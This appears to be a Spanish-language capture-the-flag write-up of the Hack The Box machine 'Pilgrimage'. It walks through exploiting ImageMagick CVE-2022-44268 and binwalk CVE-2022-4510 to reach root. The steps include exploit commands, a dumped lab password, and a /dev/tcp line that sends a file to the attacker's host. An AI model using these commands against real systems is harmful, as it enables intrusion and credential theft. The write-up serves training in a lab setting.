Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
        • Medium Level
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  • 💻 Explotación
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy Level

Pilgrimage

PreviousKnifeNextSoccer

Last updated 11 days ago

Publicado: 15 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Pilgrimage es una máquina Linux que aloja un servicio web para la subida y procesamiento de imágenes. La máquina explota dos vulnerabilidades principales: una en ImageMagick (CVE-2022-44268) que permite la exfiltración de archivos sensibles del sistema, y otra en Binwalk (CVE-2022-4510) que permite escalar privilegios a root. La ruta de ataque requiere conocimientos sobre explotación de aplicaciones de procesamiento de imágenes, análisis de código fuente y enumeración de sistemas Linux.

🔭 Reconocimiento

Ping para verificación en base a TTL

❯  ping -c2 10.10.11.219                                  
PING 10.10.11.219 (10.10.11.219) 56(84) bytes of data.
64 bytes from 10.10.11.219: icmp_seq=1 ttl=63 time=49.7 ms
64 bytes from 10.10.11.219: icmp_seq=2 ttl=63 time=48.5 ms

--- 10.10.11.219 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1015ms
rtt min/avg/max/mdev = 48.481/49.093/49.705/0.612 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.219 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports                                                               
22,80

Enumeración de servicios

❯ nmap -sC -sV -p$ports 10.10.11.219 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 19:13 CEST
Nmap scan report for 10.10.11.219
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.35 seconds

10.10.10.75 - pilgrimage.htb

⚠️ Debemos agregar este dominio a nuestro archivo hosts.

echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

80 HTTP

Enumerando el servicio web del puerto 80 descubrimos un servicio web que permite la subida de imágenes.

Creamos una cuenta:

Si intentamos subir un archivo con extensión php falla:

Tras interceptar la petición con burp, usar el Intruder para intentar bypassear los filtros de extensiones y el Content-Type no encontramos un posiblevector de entrada.

🕷️Fuzzing de directorios

Al realizar fuzzing de directorios encontramos un recurso interesante llamdo /tmp:

feroxbuster -u http://pilgrimage.htb -r  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --scan-dir-listings -C 404 -x php

Aunque al intentar acceder nos devuelve un 403

Probamos de nuevo pero esta vez usando la lista common.txt de seclists y encontramos que existe un repositorio git:

feroxbuster -u http://pilgrimage.htb -r  -w /usr/share/seclists/Discovery/Web-Content/common.txt --scan-dir-listings -C 404 

Procedemos a descargarlo usando la herramienta git_dumper:

pyenv activate my_scripts_env  
git_dumper http://pilgrimage.htb git-dump

Una vez descargado vemos los siguientes recursos:

En el directorio .git encontramos un usuario llamado emily en el fichero COMMIT_EDITMSG

Por otro lado, tabién vemos un binario llamado magick. Vale la pena enumera la versión ya que esta herramienta presentó vulnerabilidades en el pasado:

~/git-dump-pilgrimage   master ❯ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

💻 Explotación

🔓 CVE-2022-44268

Comprobamos que tal como suponíamos la versión de Magic es vulnerable a Arbitrary File Upload: https://www.exploit-db.com/exploits/51261

Usaremos el siguiente exploit en python:

https://github.com/kljunowsky/CVE-2022-44268

Descargamos la herramienta y sus dependencias

pyenv activate my_scripts_env  
git clone https://github.com/kljunowsky/CVE-2022-44268.git
pip install -r requirements.txt
pip install Pillow

Usamos la herramienta para crear la imagen "envenenada"

 python3 CVE-2022-44268.py --image /image.png --file-to-read /etc/hosts --output poisoned.png

A continuación la subimos al host.

Ahora comprobamos si el exploit ha funcionado y al cargar la imagen podemos leer el contenido del fichero /etc/hosts que habíamos embebido:

python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/6824df504bddf.png

La prueba de concepto ha funcionado, por lo que podemos probar esto mismo con otros archivos que puedan resultar útiles.

Anteriormente cuando descargamos el código fuente del sitio web vimos que había un archivo interesante en login.php:

Podemos intentar leer el archivo /var/db/pilgrimage

python CVE-2022-44268.py --image /image.png --file-to-read /var/db/pilgrimage --output pngout.png

python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/6824e2258a270.png            

Pero obtenemos el siguiente error:

decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x91 in position 99: invalid start byte

Eso puede tener sentido, ya que se trata de datos binarios y el script parece esperar solo texto ASCII.

Descargamos el archivo de imagen manualmente de la web y a continuación mediante el uso de grep extraemos el contenido:

identify -verbose 655cdbb27cce4.png | grep -Pv "^( |Image)"  | xxd -r -p > pilgrimage.sqlite

Ahora que ya tenemos un archivo .sqlite descargado, usamos la herramienta para cargarlo y obtener la contraseña del usuario emily:

sqlite3 pilgrimage.sqlite

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
images  users 
sqlite> .schema users
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
sqlite> select * from users;
emily|abigchonkyboi123
sqlite> 

FootHold

Iniciamos sesión vía ssh como emily y cpaturamos la primera flag.

ssh emily@10.10.11.219
emily|abigchonkyboi123

👑 Escalada de privilegios

Enumeramos la máquina para encontrar un vector que nos permita escalar privilegios.

Tras un buen rato enumerando (SUID, permisos, grupos, capabilities, directorios, etc) lo encontramos finalmente al enumerar los servicios:

ps -faux | grep root

Verificamos que únicamente tenemos permisos de lectura sobre este script:

emily@pilgrimage:/var/www/pilgrimage.htb$ ls -la /usr/sbin/malwarescan.sh
-rwxr--r-- 1 root root 474 Jun  1  2023 /usr/sbin/malwarescan.sh

Podemos enviarnos el contenido de este script a nuestro host de ataque para una mejor visualización con el siguiente comando:

En el host de ataque nos podemos a la escucha:

nc -nlvp 443 > malwarescan.sh

En el host remoto:

cat /usr/sbin/malwarescan.sh > /dev/tcp/10.10.14.14/443

El script usa inotifywait para monitorear el directorio /var/www/pilgrimage.htb/shrunk/ en busca de nuevos archivos.

Cuando se crea un archivo nuevo, el script usa tail y sed para extraer el nombre del archivo de la salida de inotifywait.

Luego, se usa binwalk para extraer cualquier dato binario y almacenarlo en la variable binout. Si se encuentra alguna de las cadenas en la lista negra, el archivo se elimina. Siempre que se usen herramientas no predeterminadas en scripts ejecutados por root como estos, conviene analizarlo con más detalle. Empezamos enumerando la versión de Binwalk:

🔓 CVE-2022-4510

Esta versión es vulnerable. Existe un exploit para esta versión que permite la ejecución remota de comandos. En este caso voy a usar uno que realiza directory path traversal que permite copiar una clave ssh generada en el directorio /root/.ssh de la máquina comprometida:

https://github.com/adhikara13/CVE-2022-4510-WalkingPath

git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git

Generamos una clave pública y privada con SSH sin contraseña:

sudo ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa -N ""

Ahora usamos el exploit indicando una imagen fake y la clave id_rsa.pub que copiaremos en el directorio /root/.ssh de la máquina comprometida.

python3 walkingpath.py ssh  ../image.png id_rsa.pub

Observamos que tras la ejecución del comando, nos genera la imagen envenenada que deberemos copiar en el directorio /shrunk donde la herramienta binwalk comprueba el tipo si es un ejecutable de windows o linux.

Subimos la imagen a la máquina comprometida usando scp:

scp binwalk_exploit.png emily@10.10.11.219:/var/www/pilgrimage.htb/shrunk/

Una vez hemos copiado el archivo, presuponemos que el proceso que identifica que cada vez que haya un cambio se ejecute binwalk, ya habrá copiado la clave pública fake de ssh al directorio /root/.ssh y podremos conectarnos con root sin contraseña, así que verificamos:

 ssh root@10.10.11.219              
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@pilgrimage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pilgrimage:~# 

Confirmamos la escalada de privilegios a root y ya podemos obtener la flag.

🎮
🟩